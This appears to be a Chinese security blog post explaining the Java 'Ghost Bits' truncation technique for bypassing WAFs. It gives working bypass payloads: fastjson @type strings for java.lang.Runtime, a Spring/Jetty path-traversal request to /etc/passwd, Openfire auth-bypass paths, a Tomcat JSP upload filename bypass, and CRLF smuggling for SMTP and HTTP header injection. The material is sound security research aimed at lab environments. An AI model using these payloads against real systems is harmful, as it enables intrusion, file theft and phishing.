共计 5297 个字符,预计需要花费 14 分钟才能阅读完成。
最近安全圈子里面出现了一个很火的漏洞 GhostBit,与其说是漏洞,我觉得叫一种通用绕过手法更合适
- https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf
这个的影响范围有多广?几乎可以绕过所有主流 waf,bypass 一些历史漏洞补丁
传统 waf 是对请求内容进行理解并分析内容,然后再进行拦截。
更有甚者只是简单的正则匹配,而这种方法正是传统 waf 的短板之一。
一旦攻击者对请求进行编码或者利用 waf 与后端解析不一致的特性,这个时候 waf 往往不能做到有效的拦截,而这次的 Java Ghost Bit 就是利用了 waf 与后端解析不一致的特性来实现 waf 绕过。
Ghost Bits 是什么 / 原理又是什么
在计算机底层,所有数据都是由 0 和 1(Bits)组成的。所谓“幽灵位”,是指攻击者通过巧妙构造的一段字节序列,使得:
-
WAF/ 防火墙(中间人): 将其视为普通的、无意义的填充数据,甚至是协议层面的结束符,从而直接放行。
-
Java 虚拟机 (JVM): 将其视为有效的指令、参数或加密签名的组成部分。
在 @浅蓝和 @1ue 分享的议题中,Java 中的 GhostBits 就是指
Ghost Bits 主要指的是在某些类型转换过程中被不小心丢掉的高位,导致原字符串内容变化。
比如
public class test {public static void main(String[] args) {
char a = 'u032e';
System.out.println((byte)a); //46
}
}
char 类型是 16 位(2 字节),byte 类型是 8 位(1 字节),如果发生 char 强制转换为 byte 就会丢弃高 8 位,只保留低 8 位。其中的 8 位就像幽灵一样消失了。
最后可以看到打印出来的是 46 对应的刚好是.

目前已知的会存在这种现象的有
(byte) ch:显式的 byte 强制类型转化ch & 0xFF:位掩码,保留低 8 位OutputStream.write(int):写入流时被截断DataOutputStream.writeBytes():官方 JDK 方法,在文档中明确写明会丢弃高 8 位
我们用实际的例子来演示,比如 fastjson:

这是一段 fastjson 的 @type 的 payload,传统 waf 肯定是可以拦截的
{"@type":"java.lang.Runtime"}
但是我们利用 ghost bit 后这段 payload 就变成了
{"uc340uce74u2c79u6170uc965":"u656au6661ub076uab61.ub56cud461u836eue267.u8b52u2775ue46eud174ua669u0a6duc165"}
从 ghost bit 理论上来讲既然前八位是被舍弃的,那我们可以通过一直变化前八位来一直变换 payload。
比如:
{"u0340u0274u0379u0470u0265":"u046au0161u0476u0261.u016cu0361u036eu0367.u0352u0175u016eu0474u0269u046du0365"}
{"u8c40u7974u5479u7970u7965":"u9d6au9461u6776u6d61.u666cu9e61u886eu9467.u5052u7875u6c6eu7174u5d69u6b6du8c65"}
{"uc340uce74u2c79u6170uc965":"u656au6661ub076uab61.ub56cud461u836eue267.u8b52u2775ue46eud174ua669u0a6duc165"}
我们来看下演示代码
public class test {public static void main(String[] args) {
char c1 = '꘠';
char c2 = '๐';
char c3 = '๔';
char c4 = '੦';
int val= Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16);
System.out.println((char)val);
}
}
可以看到漏洞点在于 parseInt 以及(char)val
Java 会将他们分别转换成 0,0,4,0 而 0x0040 对应的刚好是@
以此类推我们就可以弄出 payload
{"u꘠๐๔੦type:uxxx....}
实战利用:
CVE-2025-41242(Jetty 目录穿越)
参考:https://lorexxar.cn/2026/04/29/java-ghost-bits/
环境:https://github.com/vulhub/vulhub/tree/master/spring/CVE-2025-41242
按照 readme 自行搭建即可
靶场里面自带 payload,或者是也可以自行生成 payload
GET / 踮鼥奵渰吰吲鵥 / 鄮琥極褰逰尲步 / 瘮蘥聵霰丰耲湥 / 戮樥併怰鈰餲艥 / 昮匥罵瀰脰録彥 / 餮甥併鄰蠰礲佥 / 愮鐥轵茰锰鴲祥 /etc/passw%64 HTTP/1.1

原理:
漏洞本质就是利用了 Spring 框架因 Jetty URI 解析不一致的问题
对于 Spring 框架的 StringUtils.uriDecode 方法
遇到 % 时会做专门的处理,并调用 ByteArrayOutputStream.write 导致了高位 bit 丢失,出现 Ghost Bits 漏洞。
阮严灵丰丰甲来 会被转为.%u002e
这个输入在 Spring 层面,不但可以通过 isInvalidPath/isInvalidEncodedPath 的路径检查,还不会被识别为正常的 %u 编码,全部放行
传递到 Jetty 中,URIUtil.encodePathSafeEncoding却会将 %u002e 做 unicode 解码转为.,最终构造成为../
[
CVE-2023-32315/CVE-2024-36401 bypass
严格来说我觉得这并不是 ghost bit 的范围,这应该算是 Jetty 中 url 解码器范围过宽导致的绕过
环境:https://github.com/vulhub/vulhub/tree/master/openfire/CVE-2023-32315
/setup/setup-a/%u002e%u002e/%u002e%u002e/log.jsp其中 %u002e 会被解析成.
基本上现在的 waf 都能防御这个 poc,但是 jetty 有个离谱的地方是他会把 > 当作 URL 编码处理
public static byte convertHexDigit(byte c) {byte b = (byte)((c & 0x1f) + ((c >> 6) * 0x19) - 0x10);
if (b < 0 || b > 15)
throw new NumberFormatException("!hex" + c);
return b;
}
>依旧会经过这一套算法,最终获得结果是 14,对应E
waf 收到的请求是 %2> 不合法的 url 编码不做处理,jetty 把他处理转为了 %2E 成功输入 . 绕过 waf
/setup/setup-a/%2>%2>/%2>%2>/log.jsp
同理:CVE-2024-36401 是 GeoServer 的一个远程代码执行漏洞

假设 waf 过滤了 Runtime,我们可以用 > 代替 e 进行绕过Ru%6>time->Ru%6etime->Runtime
jackson SQL 注入 bypass waf

在 Jackson 里面会有一个 chartohex 方法导致了 ghost bit
当我们输入 u 丰丰耳失 的时候,后面四个汉字分别被转换成 0x30,0x30,0x33 和 0x31, 对应的字符是 0031
而 u0031 对应的刚好是1,再依次类推就可以得到 SQL 注入的 payload
fastjson @type 绕 waf

{"@type":"java.lang.Runtime"}
{"ɀŴŹɰť":"Ūѡɶ͡.ɬɡѮɧ.ђŵͮɴѩɭť"}
{"捀扴项轰噥":"聪蕡鵶顡. 譬孡置赧. 孒豵鹮筴睩筭恥"}
{"蕀ꕴ靹葰ꝥ":"陡略멡. 幬蝮.荮Ṵ癩㥭⡥"}
{"u0240u0174u0179u0270u0165":"u016au0461u0276u0361.u026cu0261u046eu0267.u0452u0175u036eu0274u0469u026du0165"}
{"u0640u1174u1f79u1570uf365":"u4e6aub461u5e76ue561.u666cu6a61u936eue567.u1d52u1875u886eub574uc469uf76du5a65"}
{"u6340u6274u9879u8f70u5665":"u806au8561u9d76u9861.u8b6cu5b61u7f6eu8d67.u5b52u8c75u9e6eu7b74u7769u7b6du6065"}
fastjson 的 parseInt 会将字符转换成数字再结合 u 形成 unicode 字符导致绕过
比如这里
public class test {public static void main(String[] args) {
char c1 = '꘠';
char c2 = '๐';
char c3 = '๔';
char c4 = '੦';
int val= Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16);
System.out.println((char)val);
}
}
编码后各自变成 0040, 而 u0040 就是符号@
同理我们还可以通过 x40 来绕过,比如 _ 经过函数后变成0
tomcat 文件上传绕过
对于黑名单的文件上传我们可以使用 ghost bit 绕过 waf 检测上传 jsp 文件,比如
//1.jsp
1. 罪 sp
1. 赪 sp
1.Ѫsp
1.u8d6asp
等
不同的框架需要的 ghost bit 是不同的

绕目录穿越 waf

这里 2 和 2 不是很好分辨,建议自己看 PPT
BASE64 绕过
import sun.misc.BASE64Decoder;
import java.io.IOException;
public class test {public static void main(String[] args) throws IOException {
// 1. 准备 Base64 编码的字符串
String encodedString = "MXVl";
String encodedString2 = "ōŘŖŬ";
// 2. 执行解码(返回 byte 数组)byte[] decodedBytes = new BASE64Decoder().decodeBuffer(encodedString);
byte[] decodedBytes2 = new BASE64Decoder().decodeBuffer(encodedString2);
// 3. 将字节数组转换回字符串并输出
String decodedString = new String(decodedBytes);
String decodedString2 = new String(decodedBytes2);
System.out.println("解码后的结果 1:" + decodedString);
System.out.println("解码后的结果 2:" + decodedString2);
}
}
/*
解码后的结果 1: 1ue
解码后的结果 2: 1ue
*/
可以用于绕过 base64 检测的 waf
CVE-2025-7962 SMTP 请求头注入
既然可以通过 ghost bit 伪造其他字符,那当然也可以伪造 rn,向底层 SMTP 会话里插入新的命令边界

public class test2 {public static void main(String[] args) {
char a='瘍';
char b='瘊';
byte b1 = (byte) a;
byte b2 = (byte) b;
System.out.println(b1);
System.out.println(b2);}
}
/*
13
10
*/
可以实现
- SMTP 命令注入
- 借官方系统发出伪造内容邮件
- 让收件人看到“发件人真实、域名真实、链路真实”的钓鱼邮件
- 绕过企业邮箱注册限制,把外部地址伪装成内部地址处理
等操作

HTTP 请求头注入
既然涉及到 CRLF 了,那么 HTTP 请求头注入也肯定是有的。
只要 HTTP 请求头存在用户可控的地方那么就可能存在 HTTP 请求头注入
比如存在
response.setHeader("X-User", username);
假设我们的用户名是 admin 瘍瘊 xxx:xxx;
就可以注入我们自定义的 http 请求头
结合 CSRF 攻击 redis
- Redis 的 RESP 协议依赖
rn作为边界,注入后可以开启新的命令 - XML / HTML 如果先做了转义、后面又发生一次错误的
char -> byte截断,转义就可能被“重新打穿” - 最终攻击面可以落到 Redis 指令注入、XML 污染甚至 XSS
如果攻击者能够额外恢复出一组rn,那就不只是污染一个参数,而是有机会“新开一条命令”。
这里没有例子就不再演示

